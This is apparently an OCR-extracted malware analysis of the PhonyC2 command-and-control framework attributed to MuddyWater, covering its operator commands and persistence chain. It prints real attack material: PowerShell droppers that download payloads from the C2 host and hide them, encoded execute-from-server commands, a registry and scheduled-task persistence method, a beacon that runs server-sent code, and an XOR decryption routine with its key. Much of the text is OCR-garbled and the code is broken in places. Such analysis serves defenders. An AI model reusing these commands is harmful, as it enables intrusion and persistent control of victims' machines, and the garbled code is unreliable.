,14314436, 14361443, 1313e@e, 13¢136€, 14436143, 1443130€, 1443613, 1313613, 14443143, 13136, 1443613¢, 14361313, 144313e€, 1443131
3,14430136, 14314436, 1366@0@, 13143143, 13130143, 14443013, 14430143, 14431348, 14361313, 14314313, 1314438, 13131360, 14361313, 14
443eae, 1443138€, 1314436, 1361313, 14314438, 1438@143, 14314443, 143€13¢€, 14313013, 14314436, 14381443, 13144313, 144313¢, 144313
@,13131313,13131308, 1361438, 1443688, 1314436, 13861443, 14361313, 14431368, 13136143, 14431368, 14430138, 14313013, 14314438, 14
3@1443,13130@@,13143143,13130143,14443013,14430143,1443136€,14301313,14314313,131443€,13000143,14314443,1431443@, 144314
3e,14301313, 1443e13¢, 144313@e, 13144313, 144313€, 1443136, 136€1438, 1443@13€, 14314443, 14314313, 13e@e13€, 14380813, 14430143, 1
431313, 143143, 143130€, 13130143, 1443130€, 1443013€, 14313813, 1431443€, 1431443, 1313688, 138136@, 1443143, 14431388, 1443013
@,1313013, 1313013, 13136, 14444313, 1313¢, 13130, 1438143, 14431313, 1431443, 1438€143, 1443130€, 14313613, 14314443, 14314438, 13
80806, 13131308, 14314443, 13880138, 14380013, 14430143, 14381313, 13130136, 14301313, 14431436, 13136143, 1443136@, 14438130, 14313
@13,1431443¢, 14361443, 1313868, 1361386, 14430143, 14431366, 14430136, 1313613, 14443143, 1313, 130066, 130808¢, 1366866, 1360068
, 1301300, 14430143, 14431300, 1443013, 130600Q, 1444313, 13806, 1381308, 14430143, 14431308, 1443@13€, 1314438, 13131308, 1431444
3,13860143,14313066, 14368013, 14438136, 13868613, 14436136, 14430136, 14386813, 14443613, 131306€, 1313613, 13138, 136a04¢, 130068
@,13e8¢60, 136@E, 13143143, 1430613, 14436138, 14436130, 14366013, 14443013, 13144313, 144313¢, 1443130, 13136136, 143¢1313, 1443
143@, 14301313, 14438136, 14436143, 14381313, 1313648, 1301360, 14436143, 14431306, 14438136, 1313813, 13130, 1366606, 138666E, 13866
@, 130006, 1361306, 1443143, 14431306, 1443136, 136€00E, 1444313, 13806€q, 1314313, 1431313€, 14314443, 14313613, 1431443€, 13138
ee, 13130€, 14430143, 1443130€, 1443013€, 1313013, 1313¢, 13€ERRE, 138€RRE, 13EERE, 130REER, 14438130, 14381313, 1443138€, 14431313
, 14436138, 14314436, 1366606, 1361368, 14430143, 14431386, 14438136, 13138, 14444313, 13130, 13136, 14361430, 14431313, 14314438, 143
@e143,1443130@, 14313813, 14314443, 1431443@, 136@@0e, 1436€13¢, 1443143, 14430143, 14360136, 131300, 13013€¢, 14438143, 14431380
,1443@13g, 1313813, 14443143, 1313, 1386466, 1388EEE, 13668660, 1386686, 1361366, 14430143, 14431366, 14436136, 1360666, 1444313, 138
@eee, 1313130@,14314443,143143@,13138143,1443130@,1443@130,14313€13,14314436, 14301443, 1313000, 1301300,14430143, 1443130¢,
144313e,1313013,1313¢, 130aeqe, 1300aee, 136A0AE, 138E0A6, 1381308, 14438143, 14431308, 1443@13¢, 138e@0E, 1444313, 13@0@eE, 13131
3ee,14314443,143143¢, 13130143, 14431380, 1443613€, 14313613, 14314430, 14381443, 13138€@, 1381306, 14430143, 14431306, 14430130, 1
313¢13,1313¢, 130@E¢, 13€0QRE, 13600QE, 1306E0E, 1381300, 14438143, 1443130€, 1443813¢, 13608€q, 1444313, 136000, 13131300, 143144
43,13@0013@, 14300013, 14438143, 14301313, 13130130, 14301313, 14431434, 13130143, 14431306, 14438136, 14313613, 14314438, 14381443
,1313g@e, 1301360, 14436143, 14431308, 14436138, 1313813, 13138, 1366600, 1366060, 1366668, 1306068, 1361360, 14438143, 14431348, 144
3e138,130@e@e, 1444313, 13e0ae0, 131313€0, 14314443, 143143€, 13130143, 14431360, 14430130, 14313013, 1431443, 14361443, 1313000, 1
381306, 1443@143,14431308, 14430138, 1313813, 13138, 1380606, 136806, 1386a08, 13606ae, 1301360, 14438143, 14431340, 14438138, 1368
e€, 1444313, 1380608, 13131388, 14314443, 1431436, 13130143, 14431306, 14430136, 14313813, 14314436, 143€1443, 1313666, 1361308, 144
3014314431366, 14436136, 1313013, 13136, 1366064, 1366004, 1386640, 1308E6A, 1443813, 14361313, 14431306, 14431313, 14436136, 1431
143¢, 1300008, 13013@¢, 14430143, 14431300, 14430130, 14444313, 13130, 1313@, 1430143@, 14431313, 14314430, 14306143, 14431368, 14313
@13,14314443,1431443@, 130@66e, 14301443, 1430@13¢, 14438143, 14301443, 1313@6€, 1361386, 14430143, 14431306, 14430136, 1313013, 14
443143,1313¢, 1306666, 1368686, 1366868, 1368086, 1361386, 14438143, 14431308, 14436136, 1366664, 1444313, 1360866, 13131366, 143144
43,1431313,13130143, 1443134€, 1443¢13€, 14313013, 1431443€, 14301443, 1313086, 1361308, 1443€143, 14431306, 144313, 1313@13, 131
3e,1360008, 1386660, 1366EEE, 138660, 1301366, 14438143, 14431360, 14438130, 1386866, 1444313, 13131366, 14314443, 1431313, 1313014
3,1443130@,1443013@,14313013,1431443@,14301443,131300@,138136¢, 14430143, 14431300, 1443€13@, 1313013,1313@, 1300006, 1300000
,13e@eee, 13e@@ee, 13613@6, 14430143, 14431386, 14430130, 13@80AE, 1444313, 1388800, 13131300, 14314443, 1306E136, 14380013, 1443014

Normal text file length : 26,718 lines: 1 Ln:1 Col:2167 Pos:2.167 Windows (CRLF) ~ UTF-8 IN

Figure 13: HTML response from C2 server for step #1
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Figure 14: Decode routine flow (values might change in different executions)

“dropper” Command:
This command creates different variants of PowerShell commands only for step (1).

(PhonyC2:172.16.162.1:1337) :droper

povershell -NoProflle -Executionrolicy Bypass -W 1 -Connand "Invoke-RestMethod -Url NEtp://172.16.162.1:1337/562021 e a45a-4318-804b- 5942bd0a8S3 . aspxTUSKTNCOENLT=SHTHCOENL -OUTFLLe :\progrand

qlite;attrib +h c:\prograndata\db.sqlit

powershell -EP BYP '\' -NoP -W 1 rEn(mjedU)mmand CABVAHCAZQBYAHMA3ABLAGWADAAGACOATGBVAFAACGBVAGYAAQBSAGUATAATAEUAEABLAGMAdQBOAGKABWB UAFAABWBS. '\Lkl’WwESl’\(l’\i\UQBSAH;’\AVUB‘U’\HW’\Il’\/\t/\F(l’\Il’\"\w’\(l’\l’\LUBDl’\hHl’\bUB

KACAAL 9B IAGAAIgBVAGSAZQATAR 1AZQ8ZAHQATQBLAHOASABY AGOAT AR TAFUACGBPACARGABOAHQACAAGACBAL WATADCANGAADEANGAUADEANGAYACAANOAOADEANAZ AD CALWALADYANGBhADI AZ BNAGUAL QBADOANGB hACOANAAZADE DAL ADGANGAOAG

IrArlAAyAa\AVgBIrADAA\QAJADUADQAuAcEA:waAHg T T e T T T P e A T P S S AP e AR A e
7wstrEAbasMrEAdAsmrw BiACAACWBXAGHAAQBOAGUAT g

powershell -NoProfile -ExecutionPolicy Bypass -W 1 -Command "IWr -Uri hEtp://172.10.102.1:1337/562a2ffe-a45a-4318-804b- 5942(bd0as 59 . aspx7HSHTNCOENL7=HSHTNCOENLT -OutFile ci\prograndata\db.sqlite;

W 1 -EncodedCommand CABVAHCAZQBYAHMAAABLAGWAbAAGACOATGBVAFAACGBVAGYAAQBSAGUATAATAEUACABLAGHMAQBOAGKADWB UAFAAbWBSAGKAYWBSACAAQQBSAHAAYQBZAHMATAALAFCATAAXACAAL QBDAGBADQE]

1ABOAHQAJABWADOALWAVADEANWAYACAAMQA2ACAAMQA2ADTALGAXADOAMQA ZADMANWAVADUANGAYAGEAMGBMAGYAZQALAGEANAATAGEALQAOADMAMQA4ACBAOAA2ADQAY gALADUAOQAOADI AZgB L AGQAMABhADGANQASAC]

FQATOBDAEBARQBOAEWANWAOAF CANQBXAFQAT gBDAEBARQBOAEWANWAGACOATWE 1AHQARBPAGWA ZQATAGMADGBCAHAACGBVAGCACOBhAGBAZABhAHQAYQB CAGQAYGAUAHMACQBSAGKAJAB LADSAYQBOAHQACO BPAGTATAAr AGGATAB JADOAX]
AGEAXABKAGIALGBZAHEAbABRAHQAZQ

powershell -NoProfile -ExecutionPolicy Bypass -W 1 -Command "Start-BitsTransfer -Source http://172.16.162.1:1337/562a2ffe-a45a-4318-864b- 5942bd0as59 . aspx?WSWTNCOENL7=WSWTNCOENL7 -Destination
\db.sqlite;attrib +h c:\prograndata\db.sqlite
1 -EP BYPASS -NoP W 1 -EncodedCommand CABVAHCAZQBYAHMAABLAGHADAAGACOATGBVA AACGBVAGYASQBSAGUATAALAELACAB LAGMAIGBOAGK ADWB UAFAAbWBSAGKAYWESACAAQGBSAHARYGBZ AHHATAA AF CATAAXACAALQEDAGEALQD)
gBTAHQAYQBYAHQALQBCAGKADABZAFQACGBhAGAACWBMAGUACGAGACBAUWBVAHUACGB JAGUAT ABOAHQADABWADOAL WAVADEANWAYACAAMQAZACAANQAZADIALgAX ADOAMQAZ ADMANWAVADUANGAY AGEAMGE! ZQAtAGEANAATAGEAL QAGADMAMQASA!
QAYGALADUAOGAOAD TAZGB L ACQAMABhADGANGASACAAY QB ZAHAACAR / AFC ANGBXAFQATOBDAE BARQBOAEWANKASAF CANQBXAF QATOBDALBARQBOAEHANWAGACOAR ABTAHHAJAB AGAAYQBOAGKADWBUACAAYWAG AT WACABY AGBAZWBYAGEABQBKAGEATABhAFWA
WBXAGWAaQB 6AGUAOWBhAHQAJABYAGKAYGAGACSAaAAGAGHAOG B AHAACgBVAGEACGBhAGOAZABhAHQAYQB CAGQAY gAUAHMACQBSACKAJABLACTA

reate("http://172.16.162.1 62a 2 2859 2WSWTNCO d 1 SystemWebProxy();$r.proxy.creden|
. rAgent: ooglebo o e r . o r Mw l)b] t 3 e e ream).ReadToEnd()
\prnqramdata\db sqlite -

powershell -Ep BYPASS -NoP -W 1 -EncodedCommand JABYADBAMMETAH 0 QAUAE4AZQBOACAASABUAF QAUABXAGUAYgBSAGUACQB1AGUACWBOAFOADGAGAEMACOB LAGEAJAB LACGATgBOAHQAABWAD OALUAVADEANWAY)

XADOAMQAZADMANWAVADUANGAYAGEAMIBMAGYAZQALAGEANAALAGEALQAOADMAMQA4ACOAOAAZADQAY A LADUAOQABADTAZGB LAGQAMABhADGANQASACAAYQBZAHAAEAA/ AF CANQBXAFQATGBDAEBARQBOAEWANWAIAF CANQB XAFQATGBDAESARQI

IALgBWAHIAbWB4AHKAPQBbAE4AZQBOACAAVWB LAGIAUGB LAHEAdQB LAHMAJABAADOAOgBHAGUAJABT AHKACWBOAGUABQBXAGUAYgBQAHIAbWB4AHKAKAAPADSAIABYACAACAB yAGBAeABSACAAQWBYAGUAZABLAGAAJABPAGEADABZADOAWWBOA!
AHOASgBAGHAQUEhACHADA LA SAOGAGAEQAZOBnAGEAQBSAHOAQB Y ACUAZAB AGAAABPAGEADAB ZADS A ABYACA AV QB 2ACUACGBBACEAZIB UAHOAP QA LAE CADINB VAC CABAB LACTADBSACTAOWAKAHEACSADACOAC GAUAECAZQSOA
AOWAKAHTAZQBXAHMAJABYAGUAYQB t ADBAJABYAHT AL gBHAGUAJAB SAGUACWBWAGBAbgBZAGUAUWBOAHTAZQBhAGOAKAAPADSA JABZAHTAPQAOAEAAZQE: ATWB1AGOAZQB JAHQAIABTAHKACWBOAGUADQAUAEKATWAUAF MAJABY AGUAYQB tAF 1AZQBhAGO)

AJABYAGUAC QB ZAHQAC! quA(EAhUApA(4AUQBlA(EA”ABLIAGMARUBHAGUAKAADAD'MlelAHUALUBDA(HAhqBOA(UAhQBOA(AALUB(A(MA B3 LAIAA(’AFAAVUBOAGQAIAB]ADUA)ABWAHIAhWBnAHIA‘fUBfA(UA BOAGEAXABKAGIALGBZAHEADABPAHQ

BhAGWAJQBLACAAJABZAHIA

(PhonyC2:172.16.162.1

Figure 15: “dropper” command output

“Ex3cut3” Command:
This command creates different variants of PowerShell commands for both step (2) and (3) combined:

(Phonyc2:172.16.162.1:1337) :Ex3cut3

ell -w 1 5454 (gc c:\programdata\db e). ',');rm -Force c:\programdata\db.sqlite;foreach($i in $x64){if($i){$c += [System.Text.Encoding]::UTF8.Getstring([ en.Convert]::ToInt32
($c -Jotn

t-Process powershell -ArgumentList "-exec byp: W 6 \programdata\db.sqlite).split(',');rm -Force c:\prograndata\db.sqlite;foreach( $i in "$x64){if(
F8 . Getstring([Systen. Convert]::To $1,2))}3:1 € X("$c -Jot -Windowstyle Hidden

ell -EP BYPASS -NoP -W 1 -EncodedCommand UwBOAGEACgBOACOAUABYAGBAYWBLAHMACWAGAHAAbWB 3AGUACGBZAGIAZQBS AGWATAALAEEACGBNAHUABQBLAGAAJABMAGKACWBOACAATGALAGUACABAGMATABLAHKA CABhAHHACWAGACO AW
AeAA2ADQAPQAOAG CAYWAGAGHAOGBCAHAAC gBVAGCACGBhAGBAZABhAHQAYQBCAGQAY gAUAHMACQBSAGKADAB LACKAL gBZAHAAbABPAHQAKAANACWAJWAPAD SACQB tACAALQBGAGBACgB JAGUATAB JADOAXABWAHTAbWBNAHIAYQB tAGOAYQBOAGEAXABKA!
EAbABPAHQAZQAZAGYAbWB YAGUAYQB JAGGAKABG A U)AAQAQACI\ADQAQACAAJAEAAD"ANAADAH5A3QENA(QAVAAI\ACI\AD QB7AGAAIABIACAAKWAOACAAHWBTAHKACWB OAGUABQAUAFQAZQBA AHQALBFAGAAYWBVACQAAQBUAGEAXQAEAD OAVQBUAEYAOAAUAECA.
BYAGKADGBNACGAWWBT AHKACWBOAGUADQAUAEMADWBUAHY) A QABADOAVABVA DMAMGAOAGAA JABPACKAMGAD) x
\GKAZABKAGUADOA=

hell -W n IEX(hostname)
ell -W n I'E°X(hostname)

Figure 16: “Ex3cut3” command output

"list” Command:
The list command shows all the connected computers to the C2 with some associated information:

(PhonyC2:172.16.162.1:1337) :List
ID USERDOMAIN COMPUTERNAME USERNAME Country ExternalIP

XGEEPG6K WIN1E WIN1O® getcountry 2.16.162.134 0:00:03
RP2ML78 WINL WIN1O country 2.16.162.134 0:00:05
<QR1W WIN7 WIN7X ser tcountry 2. .128 ©0:00:09

Figure 17: “list” command output

"setcommandforall” Command:

This command is the most important one, as it allows the threat actor to execute the same command on all the
connected computers at the same time. For example, a command that will download and execute a ransomware
payload.

(PhonyC2:172.16.162.1:1337):setcommandforall
PS whoami
PowerShell Command Set For All Agents
3
(PhonyC2:172.16.162.1:1337):
yieu

Leuser

Figure 18: “setcommandforall” command output
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"use” Command:
This command allows the threat actor to get a PowerShell shell on a specific computer:

1:1337):use 2

[ "WIN1O '"WIN1O 'y "IEU
(PhonyC2:1 16.162.1:1337)(AgentID:

Figure 19: “use” command output

If the “use” command is selected, additional commands become available:
(PhonyC2:172.16.16 | AgentID:2):help
Documented commands (type help <topic

help

Undocumented commands

Figure 20: Additional command options after selecting “use”

"persist” and Other Commands:
Most of these additional commands are self-explanatory, the only interesting one is “persist”

1337) (Age
st Command Set TO PID
ell And Put T
add HKLM\S oso ows entve tils. /Fimkdir c:\intel\utils\ -f;cd c:\int s T 0 T ring([s: o
ng( hc1BhPS) 9 ik c1BVRXhLYyA9 THCUUNVUKCdwb3 y| pbuugLNMg F t]aGFyXVtpbnRAWZR1Y2 1t Vixd0] psb3vu
tbY2hhcl1baWsexXvtkZWNpbWF QoN3g 2 2LudF1bZGV 3 wlthmml1vdl‘A‘I-an4K‘,I«nKFdldtl‘mt\/tuH‘lv(tvdeI«m\/th(quFmTFm VoFSRUXCaUNYE UV 4SUNNS FYoL U hbiUOZN1 Vb 3B b29:
knLDApOWOK' )) | Out-File -Enco orce 1 1ty B TR C “ froopWgnBla” -Value
IYMOXUYN 6 YBX9QS" ; Sadd o /"3SUID = wi _compu product get uutd S|
select-object -Index 2). C + ¢ lect-object -Index {nction HTTPGET (Sad {SreLEryise en Net .HTTPHebRequest] sate(sadisreq g Sr.proxy = [Net.u
temhebProxy( o g e 2 efe ede Sr.KeepAlive = §fal 4 gent = "Googlebot Headers.Add cept-Encoding” ”\dsn(’\fy”\ rr o= $r.G
e e on New-Object B¢ r an; 533 R o R T ¢ a gc 26 bb-a683- 4270
-aspx?"+$p_td c o = HTTPGET Sadd s9 - 1 3 out- s\Intel\uti X3RS ¥ ¥ .Text.Encoding
string([System.Convert]: :FromBase64string(sr
(PhonyC2:172.16.162.1:1337) (AgentTD
c uuid 24EBAD56-F44A-E715-A969-EODD6BA2CT33

Figure 21: “persist” command output

The “persist” command is used to generate a PowerShell code to enable the operator to gain persistence on the
infected host so it will connect back to the C2 if the infected host is restarted.

Additionally, when the operator executes the “persist” command it writes an encrypted payload to a pre-defined
random registry path in “HKLM\Software.” This can be partially seen in commandline.py (figure 22), as some of the
values are stored in config.py.

The encrypted payload is a slightly modified version of “persist_payload_2022.ps1” that triggered the entire

investigation.
242 def do_persist(self, command):
243
244 p_ld = config.persist_RandonToken_genarator()
2a5 data_command = conflg.commands[int(self.UseCmd_agent_d)]
246 print( + str(data_command[0]) + \n )
247 PErSiSELdEtE - config.persist_encode.baschash Bs2(contio. p_core)
248 # print(persist_data)
249 persist_data = config.xor_crypt_string(persist_data, encode=Truc)
250 # print(persist_data.decode('utf-8'))
251 persist_data = config.persist_encode_basehash_b52(persist_data.decode( »
252 #print(config.persist_run)
253 persist_run = config.persist_run
254 #print(persist_run)
255 persist_run = + (encode(persist_run)).decode( )
256 #print(persist_run
257 #persist_run = conflg.encode_hex(persist_run) //hex
258 #print(persist_run)
259 #persist_run_args = "/htg:htgstr".replace("htgstr”,persist_run[::-1])
260 #persist_run_args = persist_run[::-1] //reverse_Hex
261
262 persist_cmd = \\ +strip_td)+ +str(config.only_server)+

+config.endpoints( 1+ W
4 str(persist_data) +

263 #persist_run = '''%Comspeck start /c for /F "tokens=3" %A in ('reg query "HKCU\Software" /v "TEST"') DO (C \\W\nduw>\\5y>Lawzz\\spuo\\\FRINTERS\\OOQQ vbs %A)'
264 #persistirun 2 o | aComspeck start /c C:\\Windows\\Systen3z\\spool\\PRINTERS\\0099.cnd htgstr ! replace(“htgstr”, persist runt

265 #persist_run wnic computersystem list full /fo \Windows\\System32\\spool\\PRINTERS\\ (x © U replace( (xs1) "' <onng persist_randonstring_for_xsl)
266 pereist run - 't iWSCrLpe.Createoblect( WSCript. Shelln). RUNCACINA\A Intal VA NNGELL AR\ AURLLS ubsr 10

267 persist_run = config. jse

268 #print(persist_run_

269 #persist_run_cmd = '''Spath="C:\\Windows\\System32\\spool\\PRINTERS\\(jsefile).jse";$path2="C:\\Windows\\Systen32\\spool\\PRINTERS\\(xslFile).xsl
[System.Text.Encoding]: :UTF8 ue(s(r\nq([svstem Convert]: :FromBase6dString(' (jse)'))| Out-File $path;[System.Text.Encoding]::UTF8.Getstring([Systen.Convert
Spathz;schtasks /Create /F /RU system /SC DAILY /ST 10301 /TN 'MicrosoftEdgeMachineCore' /TR "persist_run_2";schtasks.exe /Run /TN MicrosoftEdgeMachineCor

FromBase6dstring('(xsl)'))| Out-Fi
Lr C:\\Windows\\Systen3z\\spool\\P

\' "' .replace( "MicrosoftEdgeMachineCore”, conflg.Taskname RandomToken).replace(”(ise)", config.jse_bs64).replace(”(xs1)", config.xsl_bs64)
270 #persist_run_cmd = '''mkdir cz\\intel;cd c:\\intel;wget https://www.nirsoft.net/utils/nircnd.zip -OutFile c:\\intel\\utils.zip;Expand-Archive c:\\intel\\utils.zip -DestinationPath c:\
\utils\\ -Force;rm utils.zip;cd c:\\intel\\utils\\;mv nircmd.exe utils.exe -Force;[System.Text.Encoding]: :UTF8.Getstring([System.Convert]::FromBasesastring('(cmd)'))| Out-File -Encoding ascii
c:\\intel\\utils\\utils.cnd;schtasks /Create /F /RU system /SC DAILY /ST 10:01 /TN 'OneDrive Reporting Task-S-1-5-21-8525444556-5656696-(1d)-7878' /TR "c:\\intel\\utils\\utils.exe exec hide c
\intel\\utils\\utils.cmd"; ' '.replace("(id)", config.Taskname_RandomToken).replace("(cmd)", config.to_b64(persist_run))
271 persist_run_cnd = A\ A\mi \\ A\ \ \ A\ \\ \\ \ \\ \ \\ \\
\\ A\ \\ \\
.replace( conflg.Taskname_RandomToken).replace(
config.to_b64(persist_run)).replace( ,str(config.persist_run)).replace( ,config.persist_randomstring_for_TEST).replace( ,config.persist_randomstring_for_key)
2
273 #persist_run_cmd = persist_run_cnd.replace(’(xslfile)',config.persist_randomstring_for_xsl).replace('(jsefile)',config.persist_randomstring_for_jse)
274 #print(persist_cmd.replace(’ (TEST)',config.persist_randonstring_for_TEST).replace(’ (FBI)',config.persist_randomstring_for_FBI).replace(’ (KEY)',config.persist_randomstring_for_key))
275 persist_cnd =
to_my_encode(persist_cmd.replace( ,config.persist_randomstring_for_TEST).replace( ,config.persist_randomstring_for_FBI).replace( ,config.persist_randonstring_for_key))
276 #print(persist_cmd)
277 (config.commands[int(self.UseCnd_agent_td)]1[1]) = persist_cmd
278 #print(persist_run_cmd.replace("persist_run_2", persist_run))
279 print(persist_run_cmd)
280 #print(“"Check With LocalAdmin Right: schtasks.exe /Run /TN MicrosoftEdgeMachineCore”)
281
282 . def do Dcr;\;tun(;clT conmand)
283 = config.persist_RandomToken_genarator()

Figure 22: Code related to persistence from commandline. py
Below is the full chain used to achieve persistence by PhonyC2:
¢ By executing “persist” on a machine connected to PhonyC2 the C2 writes encrypted payload to the registry

* Add a registry key to the Windows registry that runs a script file named utils.jse located in the C:\intel\utils\
directory at startup

* Create the directory c:\intel\utils\ if it does not exist

e Change the current directory to c:\intel\utils\
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¢ Decode a base64 blob and write it into utils.jse

var w = WScript.CreateCbject ("Ws 1"y : 0 N alS
var oExec = w.Run(’ 211 - file —o (".([char] [int] [deci n )+ [char] [int] [decimal] : :Round (68.9) + [char] [int] [decimal] ::
( £-Its HELM: \\SOFTWARE\\ iCXgEXISMEV -Name gmBla))',0);

Figure 23: Contents of utils.jse (some values change in each execution)

¢ Create a registry key with random name (fmoopWgmBla) at HKLM:\SOFTWARE\\<random> (iCXqExISMHV)
with content similar to below:

$p_id = "<II
# C&C IP and P«

# Get ma rma n
$UID = wmic path win32_computersystemproduct get uuid;
$HDD = wmic diskdrive get serialnumber;

# keyooo =
$keyooo = (SUID |

&
12 #
#T L' t
4 function HTTEGET ($ad , $req){
15 E tryl

€ $r = [System.Net.HTTPWebRequest]::Create (fad+$req)
§r.Method = "GET";
1 $r.proxy = [Net.WebRequest]::GetSystemWebProxy():
] $r.proxy.Credentials = [Net.CredentialCache]::DefaultCredentials;
$r.Keephlive = §false;
21 §r.UserBgent = " 71
2 $r.Headers.Add ("A I R ling”, identity");
$rr = $r.GetResponse () ;$regstream = $rr.GetResponseStream();
24 $sr = New-Object System.IO.StreamReader $regstream;
= 5sr.ReadToEnd():

Run every 6 seconds

# e the r
$x=$address+§gc;

$x | out-file C:\Intel\utils\x.txt;
Sa of the P GET in C: tilsy
C:\Intel\utils\res.txt;
se from the C&C recieved, convert it from Base€d, Convert the result to UTFS8 and execute using CE

invoke-expression([System.Text.Encoding]::UTF8.Get5tring([System.Convert]: :FromBase645tring(fres))) ;
aq L break} )|
Figure 24: Content written to the registry with analysis comments

* When the computer is rebooted, the run key causes the execution of the utils.jse script

e The utils.jse script reads and executes the contents from the registry as seen in figure 23

¢ The PowerShell code in figure 25 connects to the C&C server to receive and execute a code that is similar to
the below:
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Input +0O2 0

JABLAGAAYWAgADBATABBAFMARQBZAHQAZQBLACAAVABLAHE ADAAUAEUAbEB JAGBAZABpAGAATWBdADOADEEVAFQAREALADS AZ gB 1 AGAAY WBBAGKADWBUAL)
gACEAIABhAHIAZWB2ACKATABTACQACWASACQAYQBYAGCAdgATACOAZAAZADBAT ABAACEAKQATACQAdEAEADRATAAWADSATABJACAAPQAgADAADWE3AGEAA(
UAKAAKAGMATAAtAGAAZ QAEACQACWAUAGWAZQBUAGCAdABOACkAeWAKAHY APQACACQADgAgADUAMEAPAC sSAKABBAEKAbEEBADMAME BAAF s AYWBOAGEAC ZBd!
WBbACQAYWB dACBANAAWACKAOWB pAGYAKAACACEATAB JACSAMQAPACUAMWAPACAALQBLAHEAT AAWACKAeWB3AGEAEQB SAGUAKAAKAHYATAATAGAAZQAZADAI
ACQAdgE2ADBAIABZACUAMEALADYADWBPAGY AKAAKAHYADZAZACBAZWBBACAMMAADAHS ATABKAC S APQEbAGMARABhAHIAXQEbAEKAbZEBADMAMEBAACQAdE
AJAB2ADBAWWBIAGAAdAAZ ADTAXQACACOAdgAVADIANQAZACKATQBOACQAYWArADBAMQA7 AHBAOWEBDAGEACEBYAGEA2QBdADOAOEBSAGUADEB1AHIACWB 1AL
BkACkAOWAKAGQAPOBbAFMAJABY AGkAbEBNAFBADgABAECADWE pAGAAKAANACCALAAKAGQAKQATAHIAZQBRAHUACEBUACAATABKAHBAZ g B1AGAAYWBBAGKAL
CAAeAAgAHSACABhAHIAYQBtACgAIABZAHQACEBPAGAAZWASACAATABTAGUAdABOAGBAZAADADSATABAAGBACEBrAGUAeQAZADBAT AAKAGUAbEE JACAARWB!
QgB5AHQAZQBZACEAIgBhAHCAZQEZAGEADQB1AHAAYQBZ AHMAdWBYAHIAZAAYADAAMEAZ AGEAdWB 1AHMADWETAGUACABhAHMACWE3 AGBACEBKADTAMAAYAD!
pADsAa(BmACAAKALKAGEAZOBRAGEADWBKACAALQBIAHEATAAIAGOAZQE JAHIALQBWAHQAT gAPAHSATABZAHQACEBPAGAAZWARADBATAAKAGUADEBJACAAR
QAUWB@AHIAaQBUAGCAKABDAFMA2QBZAHQAZ(QBTACAAQWBVAGAAdgBlAHIAJABdADOAOEBGAHIADWBTAEIAYQB ZAGUANgABAFMADABYAGKADEBNACEATABZI
gBpAGAAZWADACKATQAKAGIACQBAAGUAUWEBAHIAGQBUAGCATAASACAATABLAGAAYWAUAECAZQBRAEIAQBAAGUACWACACQACWBBAHTABQBUAGCAKQAT ACQY
AHIAZABEAGEAdABhACAAPQAZACQAKABMAGBACEAZACEATAB pACAAPQAZADAADWAEACQACQAZACRADABBACAATABIAHKAIABLAFMADABYAGKADEBNACAADAL
AZwBBAGEAOWAZACKATABTAGYAbWBYACAAKAAKAGOAT AASACAAMAATACAATABGACAALQBSAHQATAAKAHEADWBYAGSAZQESACAADAB 1AGAAZWEBBAGZAOWAEAL
ArACsAKQAgAHSATABIAHKAJABLAFMAJABYAGKAbEBENAFsATABPAFOATAATAGIAABVAHIATAAKAHEADWBYAGSAZQBSAF sATABQAF BAOWAKAGKAKWArADSA:
CAAKAAKAGKATAATAGCAZQAZACQAYgBSAHQAZQBTAHQACEBPAGAATWAUAEWAZQBUAGCAdABOACKATABTACQARgAEADBATAAKAHEADWBY AGSAZQBSACAADAB!
ZwBBAGEAOWBOAHBATQAPADSATABAAGEBACEBLAEQAYQEBAGEATAASACAATABLAGAAY WALAE CAZQBBAFMADABYAGKADEBNACEATABAAGEACEBKAEQAYQBBAGH
7AHIAZ(B@AHUACgBUACAATABAAGBACEBKAEQAYQBBAGEAOWBIACOAZAAZADBAT ABSACAAKABHAGUAdAATAEKAJABLAGBAUABYAGBACABLAHIAdABSACAALC
EAJABOACAATEBIAESATABNADOAUWBPAEYAVABXAEEAUEBFAFWAY(QBNAGIADQBNAGOAEABLAGOAUQBKACIATAALAE4AY(BTAGUATAAIAGKASOB]AFKAUEBQ!
gBtACIAKQAUAGKASQBJAFKAUEBQAFEATgBtADSATABVAHUADABWAHUAJAAZADBATABAACAATABKACAATEBKAGUAYWEY AHKACABBACTADWAKAGQATAADACA)
ACQAbWB1AHQACAB1AHQAOWBIAGAARQBEAFEATAAKAGQAOWA=

mc 2583 = 1 Tr Raw Bytes

Output 5 | I_D |

ﬁenc = [System.Text.Encoding]::UTF8;function y ($argv) {$s=%argv;%d = @():%v = 8;%c = B;while(%c -ne $s.length){Sv=(%v
([Int32][char]ss[$c]-48);if((($c+1)%3) -eq 8){while($v -ne @){fvv=3vE256;if($vv -gt @){%d+=[char][Int32]%vv}v=[Int32]
($v/256)}1%c+=1;};[array]: :Reverse($d);$d=[5tring]::Join("",%d) ;return $d}function x {param($string, $method);%xorkey -
$enc.GetBytes("awesomepassword2@23awesomepassword2823");1if ($method -eq "decrypt"){$string =
$enc.GetString([System.Convert]::FromBase6dString($string)) }8byteString = $enc.GetBytes($string);$xordData = $(for (%1
8; $i -1t $hyteString.length; ) {for (%j = 8; $j -1t $xorkey.length; $j++) {$byteString[$i] -bxor $xorkey[$]j];%i++;1if
ge $byteString.Length) {$j = $xorkey.length;}}});:%xordData = $enc.GetString($xordData);return $xordData;}$d = vy (Get-
ItemProperty -Path "HKLM:SOFTWARE\agbmgjxKjQl™ -Name "iIcYRPXNm"}).iIcYRPXNm;$output = x $d "decrypt”;$d = y $output;I”
$d;

Figure 25: Input is base64 returned from the server

e The base64 decoded script is reading and decrypting another payload from the registry. This payload is based
on “persist_payload_2022.ps1.”

Infection Flow
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The current version of PhonyC2 is written in Python3. It is structurally and functionally similar to MuddyC3, a previous

MuddyWater custom C2 framework that was written in Python2.

c3-

ort for C&C: ip:port: 172.16.162.1:1402
Enter PRO
[-1 ERROR(webserver->main): No module named cheroot

Command  pescription
Exit the console
1

vartables

[ a
Show Payloads
Load modul,

ASCII.GetString([System.Convert]::FromBas

String( ' IFY9bny3LW9LamyIdCBUZXQu
§aGVd03 pEZUZhaWX003 31 2GVudC LhbHA7 IFHS x

[System. LV2XPZH5 ORI
HkuQ3I12GVudGThbHMOWA51dC IFYURGO3b WRTdHIpbmcoI2h0dHAGLY8XNZ IUMTYUMTYyL  EGMTQML!

t-Pro t.Encoding] : :ASCII.GetString([Systen.Convert]: :From:
1bVd1v1Byb3hsKCk W50aWF SQ2F JaGVd0J pEZHZhdWx0Q3I1ZGVudGLhbHM7 IFMS IFYURGS 3bmxvYWRTdHI pbnco.
den

vaw:‘r;hel\ Toe Flle payload:-
ncoding]

